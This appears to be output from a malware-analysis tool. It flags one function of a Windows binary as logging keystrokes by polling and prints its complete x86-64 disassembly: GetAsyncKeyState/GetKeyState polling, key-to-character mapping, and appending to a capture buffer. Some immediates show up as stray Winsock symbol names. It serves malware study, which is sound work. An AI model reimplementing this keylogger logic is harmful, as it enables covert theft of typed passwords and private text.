Function at 0x18000792c
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movzx edi, cx
mov eax, 8
cmp ax, di
jne 0x18000795a
mov eax, dword [0x1800352b4]
test eax, eax
jle 0x180007dc3
dec eax
jmp 0x180007991
mov edx, 9
cmp dx, di
je 0x180007d32
lea r9d, [rdx + 4]
cmp r9w, di
jne 0x18000799c
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], r9b
inc ecx
movsxd rax, ecx
mov byte [rax + r8], 0xa
lea eax, [rcx + 1]
mov dword [0x1800352b4], eax
jmp 0x180007dc3
mov esi, 0x20
cmp si, di
jne 0x1800079bd
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], sil
jmp 0x180007d44
movzx eax, di
mov ebx, gethostbyname
sub ax, bx
cmp ax, dx
ja 0x180007b06
lea ecx, [rbx - 0x20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x180007b6c
mov ecx, edi
cmp edi, 0x35
ja 0x180007aa2
je 0x180007a8a
sub ecx, ebx
je 0x180007a72
sub ecx, 1
je 0x180007a5a
sub ecx, 1
je 0x180007a42
sub ecx, 1
je 0x180007a2a
cmp ecx, 1
jne 0x180007dc3
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x24
jmp 0x180007d44
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x23
jmp 0x180007d44
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x40
jmp 0x180007d44
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x21
jmp 0x180007d44
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x29
jmp 0x180007d44
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x25
jmp 0x180007d44
sub ecx, 0x36
je 0x180007aee
sub ecx, 1
je 0x180007ad6
sub ecx, 1
je 0x180007b8d
cmp ecx, 1
jne 0x180007dc3
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x28
jmp 0x180007d44
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x26
jmp 0x180007d44
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x5e
jmp 0x180007d44
lea eax, [rdi - 0x41]
cmp ax, 0x19
ja 0x180007b4d
mov ecx, setsockopt
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.WS2_32.dll_recv
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
sar ax, 0xf
cmp ax, bx
jne 0x180007b42
or dil, sil
mov byte [rcx + r8], dil
inc ecx
jmp 0x180007d46
lea eax, [rdi - 0x60]
cmp ax, dx
ja 0x180007b83
mov ecx, 0x90
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
je 0x180007dc3
sub dil, bl
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], dil
jmp 0x180007d44
mov eax, 0x6a
cmp ax, di
jne 0x180007ba5
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x2a
jmp 0x180007d44
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007bc7
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x2b
jmp 0x180007d44
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007be9
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x2d
jmp 0x180007d44
mov eax, reloc.WS2_32.dll_WSAGetLastError
cmp ax, di
jne 0x180007c0b
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x2f
jmp 0x180007d44
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007c2d
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], 0x2e
jmp 0x180007d44
mov eax, 0xba
cmp ax, di
jne 0x180007c50
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
not al
and al, 1
or al, 0x3a
jmp 0x180007da9
mov eax, 0xbb
cmp ax, di
jne 0x180007c7d
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
and ax, cx
neg ax
sbb dl, dl
and dl, 0xee
add dl, 0x3d
jmp 0x180007d32
mov eax, 0xbc
cmp ax, di
jne 0x180007c9e
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2c
jmp 0x180007da9
mov eax, 0xbd
cmp ax, di
jne 0x180007cc8
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
and ax, cx
neg ax
sbb dl, dl
and dl, 0x32
add dl, 0x2d
jmp 0x180007d32
mov eax, 0xbe
cmp ax, di
jne 0x180007ce9
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2e
jmp 0x180007da9
mov eax, 0xbf
cmp ax, di
jne 0x180007d0a
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2f
jmp 0x180007da9
mov eax, 0xc0
cmp ax, di
jne 0x180007d4e
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
and ax, cx
neg ax
sbb dl, dl
and dl, 0x1e
add dl, 0x60
movsxd rcx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rcx + r8], dl
inc ecx
mov dword [0x1800352b4], ecx
jmp 0x180007dc3
mov eax, 0xdb
cmp ax, di
jne 0x180007d6d
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5b
jmp 0x180007da9
mov eax, 0xdc
cmp ax, di
jne 0x180007d8c
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5c
jmp 0x180007da9
mov eax, 0xdd
cmp ax, di
jne 0x180007dc3
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5d
movsxd rdx, dword [0x1800352b4]
lea r8, [0x1800352b8]
mov byte [rdx + r8], al
inc edx
mov dword [0x1800352b4], edx
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret